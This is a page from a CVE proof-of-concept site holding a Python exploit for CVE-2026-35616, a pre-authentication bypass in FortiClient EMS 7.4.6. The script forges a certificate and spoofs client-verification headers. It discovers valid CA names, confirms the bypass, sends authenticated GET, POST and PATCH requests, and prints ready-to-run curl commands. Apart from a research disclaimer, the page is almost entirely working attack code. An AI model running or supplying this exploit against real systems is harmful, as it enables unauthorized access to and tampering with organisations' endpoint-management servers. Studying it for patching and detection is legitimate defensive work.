5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2026_35616.py PY
#!/usr/bin/env python3
# CVE-2026-35616 - FortiClient EMS 7.4.6 pre-auth bypass
# cert_chain_auth.py trusts X-SSL-CLIENT-VERIFY header directly, no crypto validation
# usage: python3 cve_2026_35616.py <ip> [port]
#
# DISCLAIMER
# ----------
# This script is provided for educational and authorized security research purposes only.
# Do not use this tool against any system you do not own or have explicit written
# permission to test. Unauthorized use against production systems or systems you do not
# have permission to test may be illegal under the Computer Fraud and Abuse Act (CFAA),
# the Computer Misuse Act, or equivalent laws in your jurisdiction.
#
# The author assumes no liability and is not responsible for any misuse or damage
# caused by this tool. By using this script, you agree that you are solely responsible
# for complying with all applicable local, state, national, and international laws.
#
# This was developed in an isolated lab environment for vulnerability research purposes.

import re
import sys
import subprocess
import urllib.parse
from datetime import datetime, timezone, timedelta

import requests
import urllib3
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET   = sys.argv[1] if len(sys.argv) > 1 else "172.16.50.51"
PORT     = int(sys.argv[2]) if len(sys.argv) > 2 else 443
BASE     = f"https://{TARGET}:{PORT}"
ENDPOINT = "/api/v1/system/capabilities"

CERT_CHAIN_ENDPOINTS = [
    ("GET",   "/api/v1/system/capabilities",                None),
    ("GET",   "/api/v1/system/version",                     None),
    ("GET",   "/api/v1/settings/server/public_address",     None),
    ("POST",  "/api/v1/fabric_device_auth/fortigate/init",  "__sn_body__"),
    ("PATCH", "/api/v1/fortigate/info",                     {"fortigates": []}),
]


def forge_cert(cn: str) -> str:
    key  = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    cert = (
        x509.CertificateBuilder()
        .subject_name(name)
        .issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(datetime.now(timezone.utc) - timedelta(days=1))
        .not_valid_after(datetime.now(timezone.utc) + timedelta(days=3650))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert.public_bytes(serialization.Encoding.PEM).decode()


def fetch_tls_ca_cns() -> list:
    cns = []
    try:
        out = subprocess.run(
            ["openssl", "s_client", "-connect", f"{TARGET}:{PORT}"],
            input=b"", capture_output=True, timeout=10,
        )
        in_section = False
        for line in (out.stdout + out.stderr).decode(errors="replace").splitlines():
            if "Acceptable client certificate CA names" in line:
                in_section = True
                continue
            if in_section:
                line = line.strip()
                if not line or line.startswith("Requested") or line.startswith("---"):
                    break
                m = re.search(r"CN=([^,\n/]+)", line)
                if m:
                    cn = m.group(1).strip()
                    if cn not in cns:
                        cns.append(cn)
                        print(f"  [tls]  {cn!r}")
    except Exception as e:
        print(f"  [tls]  failed: {e}")
    return cns


def fetch_ztna_ca_cns() -> list:
    cns = []
    try:
        r = requests.get(f"{BASE}/api/v1/ztna_certificates/download", verify=False, timeout=10)
        if r.status_code != 200 or "BEGIN CERTIFICATE" not in r.text:
            return cns
        for block in r.text.split("-----END CERTIFICATE-----"):
            block = block.strip()
            if not block:
                continue
            try:
                cert  = x509.load_pem_x509_certificate((block + "\n-----END CERTIFICATE-----\n").encode())
                attrs = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)
                if attrs:
                    cn = attrs[0].value
                    if cn not in cns:
                        cns.append(cn)
                        print(f"  [ztna] {cn!r}")
            except Exception:
                pass
    except Exception as e:
        print(f"  [ztna] failed: {e}")
    return cns


def send_bypass(method: str, path: str, cn: str, body=None):
    pem = forge_cert(cn)
    headers = {
        "X-SSL-CLIENT-VERIFY": "SUCCESS",
        "X-SSL-CLIENT-CERT":   urllib.parse.quote(pem, safe=""),
    }
    url = f"{BASE}{path}"
    if method in ("POST", "PATCH"):
        headers["Content-Type"] = "application/json"
        import json
        r = requests.request(method, url, headers=headers, data=json.dumps(body or {}), verify=False, timeout=10)
    else:
        r = requests.get(url, headers=headers, verify=False, timeout=10)
    return r.status_code, r.text, pem


print(f"[*] CVE-2026-35616  {BASE}\n")

def fetch_serial_cn() -> list:
    cns = []
    try:
        r = requests.get(BASE, verify=False, timeout=10)
        sn = r.headers.get("Serial Number", "").strip()
        if sn and sn not in cns:
            cns.append(sn)
            print(f"  [hdr]  {sn!r}")
    except Exception:
        pass
    return cns


print("[*] Discovering CA CNs ...")
candidates = fetch_tls_ca_cns()
for cn in fetch_ztna_ca_cns():
    if cn not in candidates:
        candidates.append(cn)
for cn in fetch_serial_cn():
    if cn not in candidates:
        candidates.append(cn)

if not candidates:
    print("  [!] discovery failed — falling back to known Fortinet default CNs")
    candidates = ["support", "fortinet-ca2"]

working_cn  = None
working_pem = None

import json as _json

print(f"\n[*] Finding working CN from {len(candidates)} candidate(s) ...")
for cn in candidates:
    try:
        status, text, pem = send_bypass("GET", CERT_CHAIN_ENDPOINTS[0][1], cn)
        try:
            retval = _json.loads(text).get("result", {}).get("retval", -1)
        except Exception:
            retval = -1
        if status == 200 and retval > 0:
            working_cn  = cn
            working_pem = pem
            print(f"  [+] CN={cn!r}  HTTP {status}  retval={retval}  ← bypass confirmed\n")
            break
        print(f"  [-] CN={cn!r}  HTTP {status}  retval={retval}")
    except Exception as e:
        print(f"  [!] CN={cn!r}  error: {e}")
if not working_cn:
    print("\n[-] Bypass failed — target patched, API unreachable, or headers stripped upstream")
    sys.exit(1)

print(f"[*] Probing all cert_chain endpoints with CN={working_cn!r} ...\n")
cert_enc = urllib.parse.quote(working_pem, safe="")

for method, path, body in CERT_CHAIN_ENDPOINTS:
    try:
        actual_body = {"serial_number": working_cn, "vdom": "root"} if body == "__sn_body__" else body
        status, text, _ = send_bypass(method, path, working_cn, actual_body)
        print(f"  {method:5s} {path}")
        print(f"        HTTP {status}: {text[:200]!r}")
        print()
    except Exception as e:
        print(f"  {method:5s} {path}  error: {e}\n")

for method, path, _ in CERT_CHAIN_ENDPOINTS:
    flag = f"-X {method} " if method not in ("GET",) else ""
    print(f'curl -sk {flag}-H "X-SSL-CLIENT-VERIFY: SUCCESS" -H "X-SSL-CLIENT-CERT: {cert_enc}" "{BASE}{path}"')